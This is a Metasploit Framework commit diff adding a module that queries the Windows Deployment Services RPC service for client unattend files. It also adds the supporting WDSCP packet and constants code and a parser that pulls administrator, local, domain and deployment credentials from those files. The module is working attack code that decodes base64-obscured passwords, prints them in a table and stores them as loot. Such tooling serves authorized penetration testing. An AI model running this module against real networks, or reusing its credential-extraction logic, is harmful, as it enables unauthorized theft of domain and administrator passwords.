Repackage as single module pull

bug/bundler_fix
Meatballs1 2012-12-13 09:40:36 +00:00
parent a23ebaee9f
commit e60d10bd3d
7 changed files with 530 additions and 4 deletions

128
lib/rex/parser/unattend.rb Normal file
View File

@ -0,0 +1,128 @@
# -*- coding: binary -*-
#
module Rex
module Parser
class Unattend
def self.parse(xml)
results = []
unattend = xml.elements['unattend']
return if unattend.nil?
unattend.each_element do |settings|
next if settings.class != REXML::Element
settings.get_elements('component').each do |c|
next if c.class != REXML::Element
results << extract_useraccounts(c.elements['UserAccounts'])
results << extract_autologon(c.elements['AutoLogon'])
results << extract_deployment(c.elements['WindowsDeploymentServices'])
end
end
return results.flatten
end
#
# Extract sensitive data from Deployment Services.
# We can only seem to add one <Login> with Windows System Image Manager, so
# we'll only enum one.
#
def self.extract_deployment(deployment)
return [] if deployment.nil?
domain = deployment.elements['Login/Credentials/Domain'].get_text.value rescue ''
username = deployment.elements['Login/Credentials/Username'].get_text.value rescue ''
password = deployment.elements['Login/Credentials/Password'].get_text.value rescue ''
plaintext = deployment.elements['Login/Credentials/Password/PlainText'].get_text.value rescue 'true'
if plaintext == 'false'
password = Rex::Text.decode_base64(password)
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
end
return {'type' => 'wds', 'domain' => domain, 'username' => username, 'password' => password }
end
#
# Extract sensitive data from AutoLogon
#
def self.extract_autologon(auto_logon)
return [] if auto_logon.nil?
domain = auto_logon.elements['Domain'].get_text.value rescue ''
username = auto_logon.elements['Username'].get_text.value rescue ''
password = auto_logon.elements['Password/Value'].get_text.value rescue ''
plaintext = auto_logon.elements['Password/PlainText'].get_text.value rescue 'true'
if plaintext == 'false'
password = Rex::Text.decode_base64(password)
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
end
return {'type' => 'auto', 'domain' => domain, 'username' => username, 'password' => password }
end
#
# Extract sensitive data from UserAccounts
#
def self.extract_useraccounts(user_accounts)
return[] if user_accounts.nil?
results = []
account_types = ['AdministratorPassword', 'DomainAccounts', 'LocalAccounts']
account_types.each do |t|
element = user_accounts.elements[t]
next if element.nil?
case t
#
# Extract the password from AdministratorPasswords
#
when account_types[0]
password = element.elements['Value'].get_text.value rescue ''
plaintext = element.elements['PlainText'].get_text.value rescue 'true'
if plaintext == 'false'
password = Rex::Text.decode_base64(password)
password = password.gsub(/#{Rex::Text.to_unicode('AdministratorPassword')}$/, '')
end
if not password.empty?
results << {'type' => 'admin', 'username' => 'Administrator', 'password' => password}
end
#
# Extract the sensitive data from DomainAccounts.
# According to MSDN, unattend.xml doesn't seem to store passwords for domain accounts
#
when account_types[1] #DomainAccounts
element.elements.each do |account_list|
name = account_list.elements['DomainAccount/Name'].get_text.value rescue ''
group = account_list.elements['DomainAccount/Group'].get_text.value rescue 'true'
results << {'type' => 'domain', 'username' => name, 'group' => group}
end
#
# Extract the username/password from LocalAccounts
#
when account_types[2] #LocalAccounts
element.elements.each do |local|
password = local.elements['Password/Value'].get_text.value rescue ''
plaintext = local.elements['Password/PlainText'].get_text.value rescue 'true'
if plaintext == 'false'
password = Rex::Text.decode_base64(password)
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
end
username = local.elements['Name'].get_text.value rescue ''
results << {'type' => 'local', 'username' => username, 'password' => password}
end
end
end
return results
end
end
end
end

View File

@ -252,7 +252,14 @@ require 'rex/proto/smb/exceptions'
bind, context = Rex::Proto::DCERPC::Packet.make_bind_fake_multi(*args) bind, context = Rex::Proto::DCERPC::Packet.make_bind_fake_multi(*args)
else else
bind, context = Rex::Proto::DCERPC::Packet.make_bind(self.handle.uuid[0], self.handle.uuid[1]) if self.handle.uuid.length == 4
bind, context = Rex::Proto::DCERPC::Packet.make_bind( self.handle.uuid[0],
self.handle.uuid[1],
self.handle.uuid[2],
self.handle.uuid[3])
else
bind, context = Rex::Proto::DCERPC::Packet.make_bind(self.handle.uuid[0], self.handle.uuid[1])
end
end end
raise 'make_bind failed' if !bind raise 'make_bind failed' if !bind

View File

@ -11,11 +11,15 @@ require 'rex/text'
UUID = Rex::Proto::DCERPC::UUID UUID = Rex::Proto::DCERPC::UUID
# Create a standard DCERPC BIND request packet # Create a standard DCERPC BIND request packet
def self.make_bind(uuid, vers) def self.make_bind(uuid, vers, xfer_syntax_uuid=UUID.xfer_syntax_uuid, xfer_syntax_vers=UUID.xfer_syntax_vers)
# Process the version strings ("1.0", 1.0, "1", 1) # Process the version strings ("1.0", 1.0, "1", 1)
bind_vers_maj, bind_vers_min = UUID.vers_to_nums(vers) bind_vers_maj, bind_vers_min = UUID.vers_to_nums(vers)
xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(UUID.xfer_syntax_vers) xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(xfer_syntax_vers)
if UUID.is? xfer_syntax_uuid
xfer_syntax_uuid = UUID.uuid_pack(xfer_syntax_uuid)
end
# Create the bind request packet # Create the bind request packet
buff = buff =
@ -37,7 +41,7 @@ require 'rex/text'
UUID.uuid_pack(uuid), # interface uuid UUID.uuid_pack(uuid), # interface uuid
bind_vers_maj, # interface major version bind_vers_maj, # interface major version
bind_vers_min, # interface minor version bind_vers_min, # interface minor version
UUID.xfer_syntax_uuid, # transfer syntax xfer_syntax_uuid, # transfer syntax
xfer_vers_maj, # syntax major version xfer_vers_maj, # syntax major version
xfer_vers_min, # syntax minor version xfer_vers_min, # syntax minor version
].pack('CCCCNvvVvvVVvvA16vvA16vv') ].pack('CCCCNvvVvvVVvvA16vvA16vv')

View File

@ -0,0 +1,3 @@
# -*- coding: binary -*-
require 'rex/proto/dcerpc/wdscp/constants'
require 'rex/proto/dcerpc/wdscp/packet'

View File

@ -0,0 +1,89 @@
# -*- coding: binary -*-
module Rex
module Proto
module DCERPC
module WDSCP
# http://msdn.microsoft.com/en-us/library/dd891406(prot.20).aspx
# http://msdn.microsoft.com/en-us/library/dd541332(prot.20).aspx
# Not all values defined by the spec have been imported...
class Constants
WDSCP_RPC_UUID = "1A927394-352E-4553-AE3F-7CF4AAFCA620"
OS_DEPLOYMENT_GUID = "\x5a\xeb\xde\xd8\xfd\xef\xb2\x43\x99\xfc\x1a\x8a\x59\x21\xc2\x27"
VAR_NAME_ARCHITECTURE = "ARCHITECTURE"
VAR_NAME_CLIENT_GUID = "CLIENT_GUID"
VAR_NAME_CLIENT_MAC = "CLIENT_MAC"
VAR_NAME_VERSION = "VERSION"
VAR_NAME_MESSAGE_TYPE = "MESSAGE_TYPE"
VAR_NAME_TRANSACTION_ID = "TRANSACTION_ID"
VAR_NAME_FLAGS = "FLAGS"
VAR_NAME_CC = "CC" #Client Capabilities
VAR_NAME_IMDC = "IMDC"
VAR_TYPE_LOOKUP = {
VAR_NAME_ARCHITECTURE => :ULONG,
VAR_NAME_CLIENT_GUID => :WSTRING,
VAR_NAME_CLIENT_MAC => :WSTRING,
VAR_NAME_VERSION => :ULONG,
VAR_NAME_MESSAGE_TYPE => :ULONG,
VAR_NAME_TRANSACTION_ID => :WSTRING,
VAR_NAME_FLAGS => :ULONG,
VAR_NAME_CC => :ULONG,
VAR_NAME_IMDC => :ULONG
}
CC_FLAGS = {
:V2 => 1,
:VHDX => 2
}
DOMAIN_JOIN_FLAGS = {
:JOIN_DOMAIN => 1,
:ACCOUNT_EXISTS => 2,
:PRESTAGE_USING_MAC => 3,
:RESET_BOOT_PROGRAM => 256
}
ARCHITECTURE = {
:X64 => 9,
:X86 => 0,
:IA64 => 6,
:ARM => 5
}
PACKET_TYPE = {
:REQUEST => 1,
:REPLY => 2
}
OPCODE = {
:IMG_ENUMERATE => 2,
:LOG_INIT => 3,
:LOG_MSG => 4,
:GET_CLIENT_UNATTEND => 5,
:GET_UNATTEND_VARIABLES => 6,
:GET_DOMAIN_JOIN_INFORMATION => 7,
:RESET_BOOT_PROGRAM => 8,
:GET_MACHINE_DRIVER_PACKAGES => 200
}
BASE_TYPE = {
:BYTE => 0x0001,
:USHORT => 0x0002,
:ULONG => 0x0004,
:ULONG64 => 0x0008,
:STRING => 0x0010,
:WSTRING => 0x0020,
:BLOB => 0x0040
}
TYPE_MODIFIER = {
:NONE => 0x0000,
:ARRAY => 0x1000
}
end
end
end
end
end

View File

@ -0,0 +1,74 @@
# -*- coding: binary -*-
module Rex
module Proto
module DCERPC
module WDSCP
class Packet
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants
def initialize(packet_type, opcode)
if opcode.nil? || packet_type.nil?
raise(ArgumentError, "Packet arguments cannot be nil")
end
@variables = []
@packet_type = WDS_CONST::PACKET_TYPE[packet_type]
@opcode = WDS_CONST::OPCODE[opcode]
end
def add_var(name, type_mod=0, value_length=nil, array_size=0, value)
padding = 0
value_type = WDS_CONST::BASE_TYPE[WDS_CONST::VAR_TYPE_LOOKUP[name]]
name = name.encode('UTF-16LE').unpack('H*')[0]
value_length ||= value.length
len = 16 * (1 + (value_length/16)) # Variable block total size should be evenly divisible by 16.
@variables << [name, padding, value_type, type_mod, value_length, array_size, value].pack('H132vvvVVa%i' % len)
end
def create
packet = []
var_count = @variables.count
packet_size = 0
@variables.each do |var|
packet_size += var.length
end
packet_size += 16 # variables + operation
# These bytes are not part of the spec but are not part of DCERPC according to Wireshark
# Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice...
packet << [packet_size+40].pack('Q')*2
packet << create_endpoint_header(packet_size)
packet << create_operation_header(packet_size, var_count, @packet_type, @opcode)
packet.concat(@variables)
return packet.join
end
def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode)
return [ packet_size, # PacketSize
256, # Version
packet_type, # Packet_Type
0, # Padding
opcode, # Opcode
var_count, # Variable Count
].pack('VvCCVV')
end
def create_endpoint_header(packet_size)
return [ 40, # Header_Size
256, # Version
packet_size, # Packet_Size - This doesn't differ from operation header despite the spec...
WDS_CONST::OS_DEPLOYMENT_GUID, # GUID
"\x00"*16, # Reserved
].pack('vvVa16a16')
end
end
end
end
end
end

View File

@ -0,0 +1,221 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex/proto/dcerpc'
require 'rex/proto/dcerpc/wdscp'
require 'rex/parser/unattend'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::DCERPC
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
DCERPCPacket = Rex::Proto::DCERPC::Packet
DCERPCClient = Rex::Proto::DCERPC::Client
DCERPCResponse = Rex::Proto::DCERPC::Response
DCERPCUUID = Rex::Proto::DCERPC::UUID
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval',
'Description' => %q{
This module retrieves the client unattend file from Windows
Deployment Services RPC service and parses out the stored credentials.
Tested against Windows 2008 R2
},
'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
'License' => MSF_LICENSE,
'Version' => '',
'References' =>
[
[ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'],
[ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html']
],
))
register_options(
[
Opt::RPORT(5040),
], self.class)
deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion')
register_advanced_options(
[
OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false])
], self.class)
end
def run_host(ip)
begin
query_host(ip)
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("#{ip}:#{rport} error: #{e}")
end
end
def query_host(rhost)
# Create a handler with our UUID and Transfer Syntax
self.handle = Rex::Proto::DCERPC::Handle.new(
[
WDS_CONST::WDSCP_RPC_UUID,
'1.0',
'71710533-beba-4937-8319-b5dbef9ccc36',
1
],
'ncacn_ip_tcp',
rhost,
[datastore['RPORT']]
)
print_status("Binding to #{handle} ...")
self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock)
print_good("Bound to #{handle}")
report_service(
:host => rhost,
:port => datastore['RPORT'],
:proto => 'tcp',
:name => "dcerpc",
:info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services"
)
table = Rex::Ui::Text::Table.new({
'Header' => 'Windows Deployment Services',
'Indent' => 1,
'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password']
})
creds_found = false
WDS_CONST::ARCHITECTURE.each do |architecture|
if architecture[0] == :ARM && !datastore['ENUM_ARM']
vprint_status "Skipping #{architecture[0]} architecture due to adv option"
next
end
begin
result = request_client_unattend(architecture)
rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e
vprint_error(e.to_s)
print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.")
return
end
unless result.nil?
loot_unattend(architecture[0], result)
results = parse_client_unattend(result)
results.each do |result|
unless result.empty?
unless result['username'].nil? || result['password'].nil?
print_good("Retrived #{result['type']} credentials for #{architecture[0]}")
creds_found = true
domain = ""
domain = result['domain'] if result['domain']
report_creds(domain, result['username'], result['password'])
table << [architecture[0], result['type'], domain, result['username'], result['password']]
end
end
end
end
end
if creds_found
print_line
table.print
print_line
else
print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.")
end
end
def request_client_unattend(architecture)
# Construct WDS Control Protocol Message
packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND)
packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, [architecture[1]].pack('C'))
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID,
"\x35\x00\x36\x00\x34\x00\x44\x00\x41\x00\x36\x00\x31\x00\x44\x00"\
"\x32\x00\x41\x00\x45\x00\x31\x00\x41\x00\x41\x00\x42\x00\x32\x00"\
"\x38\x00\x36\x00\x34\x00\x46\x00\x34\x00\x34\x00\x46\x00\x32\x00"\
"\x38\x00\x32\x00\x46\x00\x30\x00\x34\x00\x33\x00\x34\x00\x30\x00"\
"\x00\x00")
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC,
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x35\x00\x30\x00"\
"\x35\x00\x36\x00\x33\x00\x35\x00\x31\x00\x41\x00\x37\x00\x35\x00"\
"\x00\x00")
packet.add_var( WDS_CONST::VAR_NAME_VERSION,"\x00\x00\x00\x01\x00\x00\x00\x00")
wdsc_packet = packet.create
print_status("Sending #{architecture[0]} Client Unattend request ...")
response = dcerpc.call(0, wdsc_packet)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
vprint_status('Received response ...')
data = dcerpc.last_response.stub_data
# Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000
op_error_code = data.unpack('i*')[18]
if op_error_code == 0
if data.length < 277
vprint_error("No Unattend received for #{architecture[0]} architecture")
return nil
else
vprint_status("Received #{architecture[0]} unattend file ...")
return extract_unattend(data)
end
else
vprint_error("Error code received for #{architecture[0]}: #{op_error_code}")
return nil
end
end
end
def extract_unattend(data)
start = data.index('<?xml')
finish = data.index('</unattend>')+10
return data[start..finish]
end
def parse_client_unattend(data)
begin
xml = REXML::Document.new(data)
rescue REXML::ParseException => e
print_error("Invalid XML format")
vprint_line(e.message)
end
return Rex::Parser::Unattend.parse(xml).flatten
end
def loot_unattend(archi, data)
return if data.empty?
p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services")
print_status("Raw version of #{archi} saved as: #{p}")
end
def report_creds(domain, user, pass)
report_auth_info(
:host => rhost,
:port => 4050,
:sname => 'dcerpc',
:proto => 'tcp',
:source_id => nil,
:source_type => "aux",
:user => "#{domain}\\#{user}",
:pass => pass)
end
end